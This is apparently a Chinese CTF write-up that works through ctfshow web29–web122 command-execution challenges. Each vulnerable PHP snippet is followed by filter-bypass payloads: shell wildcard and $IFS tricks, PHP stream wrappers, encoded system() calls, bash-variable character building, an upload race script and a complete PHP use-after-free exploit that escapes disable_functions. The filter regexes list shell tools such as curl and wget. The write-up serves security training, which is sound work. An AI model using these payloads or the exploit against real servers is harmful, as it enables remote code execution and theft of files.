命令执行

命令执行

命令执行

web29

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
} 

可以看到过滤了flag,用?或*绕过即可
playload1:

?c=system('cat fla?.php');
或
?c=system('cat fla*');

还可以用cp
注:cp 是一个 Unix/Linux 系统中的命令,用于复制文件。fla?.php 是一个通配符模式,表示匹配类似 fla1.php、fla2.php、flax.php 等文件名的文件。1.txt 是目标文件名,表示将匹配到的文件复制到名为 1.txt 的文件中。
payload2

?c=system("cp fla?.php 1.txt");
或
?c=system('cp fla?.php 1.txt');

url+1.txt即可

web30&31

web30

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}

web31

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }

}else{
    highlight_file(__FILE__);
}

两者都过滤了system,
web30可以用echo tac *绕过;
web31又过滤了空格,在bash下可以用$IFS、${IFS}、$IFS$9、%09(在URL上使用较多)、<、>、<>、{,}、%20(space)、%09(tab),
这道题%09可用;

payload:

?c=echo%09`tac%09f*`;
或
?c=passthru("more%09f*");
或者也可以利用无参数函数:

  先查看目录:?c=print_r(scandir(current(localeconv()))); 
  或?c=print_r(scandir(pos(localeconv())));
  或?c=print_r(scandir(getcwd()));

  再读取当前目录文件
  ?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

Alt text
进一步学习:无参数函数RCE
https://www.freesion.com/article/65661087064/

经过测试more,less,nl也可以

web32&33&34&35

web32

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }

}

web33多过滤了"
web34多过滤了:
web35多过滤一个<号和一个=号
乍一看以为伪协议用不了, 其实根本没有影响
上题的 payload 依然可用 (参数 c 里面根本就没有:)

还有新姿势,利用include函数
php语句中;可以用?>代替(表示最后一个语句)
payload:

?c=include%09$_POST[a]?>    (这里的%09可有可无)

post:a=php://filter/read=convert.base64-encode/resource=flag.php

最后,把base64解码后即可得到flag

web37

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;

    }

}else{
    highlight_file(__FILE__);
}

法一
使用 php://input 伪协议

get   c=php://input
post   <?php system('cat flag.php')?>

不知道为什么不能用f12的hacker,但抓包可以,得
Alt text

法二
使用 data:// 伪协议

?c=data://text/plain,<?php system("tac fl*");?>

web38

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;

    }

}else{
    highlight_file(__FILE__);
}

这里过滤了php,没事儿,可以用<?= ... ?>(是 PHP 中的一个简短标签,用于输出其中的内容)

payload:

?c=data://text/plain,<?=system("tac fl*");?>

web39

if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
}

只能包含以 .php 结尾的文件
php://filter 不能用, 因为用不了通配符, php://input 也不能用, 因为会有 .php 干扰
但是 data:// 还是可以用的
这次减少了过滤,但是会再后面加上.php的后缀,然而我们前面的payload结尾是有一个?>进行了标签闭合,所以?>.php没有影响,继续使用前面payload

?c=data://text/plain,<?=system("tac fl*");?>

web41

if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

没有过滤 或运算符 |

使用burpsuite拦截,
先(system)(‘ls’),直接使用大佬的payload:c=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%00%0c%13%00"|"%27%60%60%27")
再(system)(cat flag.php),payload:c=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%00%10%08%10"|"%60%60%60%20%60%60%60%60%2e%60%60%60")
Alt text

web42&web43&web44&web45

web42

if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

web43

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

web42:
这次后面多了一个" >/dev/null 2>&1"语句,意思是写入的内容会永远消失,也就是不进行回显
解决方法: 用;号或者||等等一些命令分隔符进行命令分隔
payload:?c=tac flag.php;

web43:
过滤了;和cat,那payload:
?c=tac flag.php||

web44:
多过滤了flag,那payload:
?c=tac f*||

web45:多过滤了空格,那payload:
?c=tac%09f*||

web46&web47&web48&web49

web46

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

web47

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

web48

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

web49


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

*这次把数字都过滤了,还把通配符进行了过滤,我们可以改用?进行匹配,同时空格的话还是可以继续使用%09,它不属于过滤的数字范畴**
这四道题都可以用payload:?c=tac%09fla?.php||`,还可以用`?c=nl%09fla?.php||

web50&web51

web50

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}

web51


if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

两者都过滤了%,可以用<>或<代替,<>和?一起没有显示出来,改用\进行绕过,payload:
?c=ca\t<>fla\g.php||
或者
?c=ca''t<>fla''g.php||
再或者
?c=uniq<>fla\g.php||

web52

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
} 

payload:?c=ta\c${IFS}fla\g.php||
但是Alt text
flag换地方了
?c=ls||../`一级一级往上找,终于用`?c=ls||../../../找到了
Alt text,那最终payload:
?c=ta\c${IFS}../../../fla\g||

web54

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

不知道为什么这题没过滤uniq,那payload:
c=uniq${IFS}f???.php

预期解:
?c=/bin/?at${IFS}f???.php
cat命令所在的路径是在/bin/目录下,所以这里相当于直接调用了cat文件执行命令,这里的cat可以看作命令,也是一个文件,所以通配符可以用在这上面(一开始还傻傻的换成uniq看能不能用hhh)。
同理bin目录下还存在more,所以这里的cat我们换成more也可以读取flag。

还有一解:
?c=grep${IFS}show${IFS}fl?g.php
grep flag flag.php 查找flag.php文件中含有flag的那一行,并且打印出来

web55

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
} 

过滤了字母,不过通配符?和数字没有过滤,可以用bin下的base64命令(为啥用base64?因为它含有数字64可以用????64来匹配,其他命令无法匹配到)
?c=/???/????64 ????.???
(原本为?c=/bin/base64 flag.php)

web56

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

在linux shell中,.可以用当前的shell执行一个文件中的命令,比如.file就是执行file文件中的命令。所以本题可以post上传一个包含命令的文件,然后通过.来执行文件中的命令即可读到flag。
但有个问题,怎么去找到我们上传的文件呢?
当我们post上传一个文件后,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机生成的大小写字母。想当然的我们会用/???/?????????去匹配这个文件。
这里又会出现一个问题:符合这样的文件有好几个,这样其实匹配不到刚刚上传的文件。
与正则表达式类似,glob支持利用[0-9]来表示一个范围,所以我们可以用[A-Z]来匹配文件的最后一位,但因为过滤了字母,需要把A改为A的前一位@,把Z改为Z的后一位[来匹配大写字母。
那么最终payload:
c=. /???/????????[@-[]
并且同时上传我们的文件,文件内容里面是命令
这里我们写个脚本

#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/2/11 9:14
# blog: www.wlhhlc.top
import requests
while True:
    url = "http://1c8eb8f2-f724-48ea-8929-826abeea847e.challenge.ctf.show/?c=. /???/????????[@-[]"

    r = requests.post(url, files={"file": ("dota.txt", "cat flag.php")})
    flag = r.text.split('ctfshow')
    if len(flag) >1:
        print(r.text)
        break

该脚本放在了pythonProject2的web56.py 

运行脚本即可拿到flag
Alt text

web57

//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}

这题不仅过滤了字母数字,还把通配符都给过滤了。查了一下资料,发现在shell中可以利用$和()进行构造数字,而这道题提示flag在36.php中,system中已经写好cat和php,所以我们只需要构造出36即可

$(()) 代表做一次运算,因为里面为空,也表示值为0
$((~$(()))) 对0作取反运算,值为-1
$(($((~$(())))$((~$(()))))) -1-1,也就是(-1)+(-1)为-2,所以值为-2
$((~$(($((~$(())))$((~$(()))))))) 再对-2做一次取反得到1,所以值为1

如果对取反不了解可以百度一下,这里给个容易记得式子,如果对a按位取反,
则得到的结果为-(a+1),也就是对0取反得到-1

所以我们只要构造出-37,再进行取反,即可得到我们想要的数字36
写一个脚本进行构造

data = "$((~$(("+"$((~$(())))"*37+"))))"
print(data)

得到payload:

?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

web58~65

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}

试了一下system(),pssthru()都被disable_functions禁用了
可以用php的读取函数打, php常见的文件读取函数有:

print_r()  #打印多个变量的值,可以打印复杂类型变量的值,如array
file_get_contents()
highlight_file()
show_source()        #highlight_file()的别名
readfile()
scandir()  #用于打印目录下的文件

payload:

c=print_r(scandir('.'));   #打印当前目录文件名字
c=show_source('flag.php');  #对文件进行语法高亮显示
highlight_file($filename);
show_source($filename);
print_r(php_strip_whitespace($filename));
print_r(file_get_contents($filename));
readfile($filename);
print_r(file($filename)); // var_dump
fread(fopen($filename,"r"), $size);
include($filename); // 非php代码
include_once($filename); // 非php代码
require($filename); // 非php代码
require_once($filename); // 非php代码
print_r(fread(popen("cat flag", "r"), $size));
print_r(fgets(fopen($filename, "r"))); // 读取一行
fpassthru(fopen($filename, "r")); // 从当前位置一直读取到 EOF
print_r(fgetcsv(fopen($filename,"r"), $size));
print_r(fgetss(fopen($filename, "r"))); // 从文件指针中读取一行并过滤掉 HTML 标记
print_r(fscanf(fopen("flag", "r"),"%s"));
print_r(parse_ini_file($filename)); // 失败时返回 false , 成功返回配置数组

web66

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
} 

先试一下c=print_r(scandir('.'));
Alt text

尝试c=highlight_file('flag.php');
Alt text

说flag不在flag.php里,我们使用c=print_r(scandir("/"));打印一下根目录
Alt text

c=highlight_file("/flag.txt");----只要显示了源码,就可以用highlight_file()

web67

发现print_r()用不了,还可以用var_dump()
c=var_dump(scandir("/"));
找到flag在flag.txt
payload:
c=highlight_file('/flag.txt');

web68

这次应该是吧highlight_file()给禁用了,所以页面连代码都没有,直接报错,先查看目录
c=var_dump(scandir("/"));
发现在flag.txt中,
这里highlight_file()被禁用,我们换另一个,使用include()函数,
注:include($filename); // $filename为非php代码
本题为.txt,故可用
payload:
c=include("/flag.txt");

web69&web70

过滤了var_dump()和print_r()
查找资料得到几种读取目录的方式:

print_r(glob("*")); // 列当前目录
print_r(glob("/*")); // 列根目录
print_r(scandir("."));
print_r(scandir("/"));
$d=opendir(".");while(false!==($f=readdir($d))){echo"$f\n";}
$d=dir(".");while(false!==($f=$d->read())){echo$f."\n";}
$a=glob("/*");foreach($a as $value){echo $value."   ";}
$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}

先用c=$d=opendir("/");while(false!==($f=readdir($d))){echo"$f\n";}找到flag在flag.txt中

再用c=include("/flag.txt");

web71

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}
?>

源码中最后有个匹配,匹配到数字字母就会被替换成?号,不过因为这个语句是放在eval()函数后面的,我们直接加个强行退出命令即可
同上c=$d=opendir("/");while(false!==($f=readdir($d))){echo"$f\n";};exit();找到flag在flag.txt中
payload:
c=include("/flag.txt");exit();

web72

if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}

首先继续先查看目录,上题的payload不能用了,继续换刚刚列举出来的另一个
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();
发现改名字了,flag在flag0.txt,继续include执行却发现被禁用了,接着悲催的发现这题有open_basedir和disable_functions的限制
Alt text

open_basedir:将PHP所能打开的文件限制在指定的目录树中,包括文件本身。
当程序要使用例如fopen()或file_get_contents()打开一个文件时,这个文
件的位置将会被检查。当文件在指定的目录树之外,程序将拒绝打开

disable_functions:用于禁止某些函数,也就是黑名单,简单来说就是php
为了防止某些危险函数执行给出的配置项,默认情况下为空

去网上搜了一下可利用的exp:

c=function ctfshow($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { 

                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { 
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);

                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);

                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {

        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; 
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); 
    write($abc, 0xd0 + 0x68, $zif_system); 

    ($helper->b)($cmd);
    exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();
#需要通过url编码哦

通过burpsuite抓包,然后c=上述exp,接着按照图中所示步骤进行url编码,即可得到flag
Alt text

这也有已url编码的
https://blog.csdn.net/weixin_46081055/article/details/121648027

web73&web74

这两道题只是flag所在文件变了,
还是c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();
再用include函数

web75&web76

web75
首先用c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();
找到flag在flag.txt中
这题用的mysql的load_file进行读取文件,payload:

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

web76
只是文件名字改为flag36d.txt,其他同上题

web77

FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP的FFI扩展就是一个让你在PHP里调用C代码的技术。

首先还是找文件:
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();
发现:
Alt text
本想着利用web75、76的方法写sql语句,但是发现不成功,看了hint发现应该是与FFI有关(php7.4开始才有)

payload:
c=?><?php $ffi = FFI::cdef("int system(const char *command);");$ffi->system("/readflag >flag.txt");exit();

阐释:

$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > flag.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数

这样就将flag36x.txt写入flag.txt了,接着读取flag.txt即可得到flag:
c=include('flag.txt');exit();

web118

右键查看源码,发现<!-- system($code);-->
非法输入会有evil input
fuzz尝试之后发现只有大写字母和${}:?.~等等字符可以通过,可以使用bash内置变量进行利用

可以构造出nl命令进行读取

${PATH}
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

${PWD}
/var/www/html

所以payload为
${PATH:~A}${PWD:~A} ????.???

原理:

┌──(root💀kali)-[~]
└─# echo ${PWD} 
/root

┌──(root💀kali)-[~]
└─# echo ${PWD:~0}      
t

┌──(root💀kali)-[~]
└─# echo ${PWD:~A}       #所以字母和0具有同样作用             
t

web119

这次在前面的基础上把path给禁了,也就是我们无法获得n这个字母,
也就无法构成了nl命令。接下来我们尝试构造一下/bin/cat,而想
要匹配到我们至少需要一个/符号和一个cat中的一个字母

开始构造:可以构造一下/bin/cat

/:${PWD::${#SHLVL}}
a:${USER:~A}
t:${USER:~${#SHLVL}:${#SHLVL}}

SHLVL是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时
${#SHLVL}=1,然后在此shell中再打开一个shell时${#SHLVL}=2。

构造/???/?at ????.???

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?${USER:~A}${USER:~${#SHLVL}:${#SHLVL}} ????.???

web120

web121


<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?> 

这个题限制的更多了,不过还是留了个PWD,这里~也被过滤了,只能正向找字符构造了。

PWD:/var/www/html
现有能用的数字有0,1,3,4、5。(具体可以看一下web119)
由于SHLVL被过滤了,那么可以用${#?}`或者`${##}代替1。

这次可以用/bin/rev读取,rev命令可以实现文件文本行,或字符串的反序显示。那么需要获取/和r字符,或者 v。

构造/???/??v:
code=${PWD::${#?}}???${PWD::${#?}}??${PWD:${#?}:${#?}} ????.???
构造/???/r??:
code=${PWD::${##}}???${PWD::${##}}${PWD:${#IFS}:${##}}?? ????.???
Alt text

然后用一个小脚本反转一下:

str1="}4948bdb2777f-02cb-43b4-4be8-3874f220{wohsftc"
str2=list(str1)
str2.reverse()
flag="".join(str2)
print(flag)

Alt text

web122

if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    } 
这次把PWD和#都给禁了😢,这次我们换另一个命令/bin/base64,这次放开了HOME,
我们就用HOME来获取/,数字1的话我们没法使用${##}了,这里使用$?
$? 最后运行的命令的结束代码(返回值)即执行上一个指令的返回值 (显示最后命令
的退出状态。0表示没有错误,其他任何值表明有错误)

利用<A的报错就能返回值1,根据题目fuzz提示,后面的base64中的4我们可以利用${RANDOM}来获得(因为具有随机性,所以要多尝试直到随机出4来),到这里思路很清晰了,构造payload:

code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???

写个脚本来跑

#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/2/19 12:17
# blog: www.wlhhlc.top
import requests

url = "http://99ebd254-4c4d-4cc4-a554-088a44bdf8a5.challenge.ctf.show/"
data = {'code': r'<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???'}
while True:
    result = requests.post(url=url, data=data)
    if "PD9waHA" in result.text:
        print(result.text)
        break

再进行base64解码即可得到flag

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注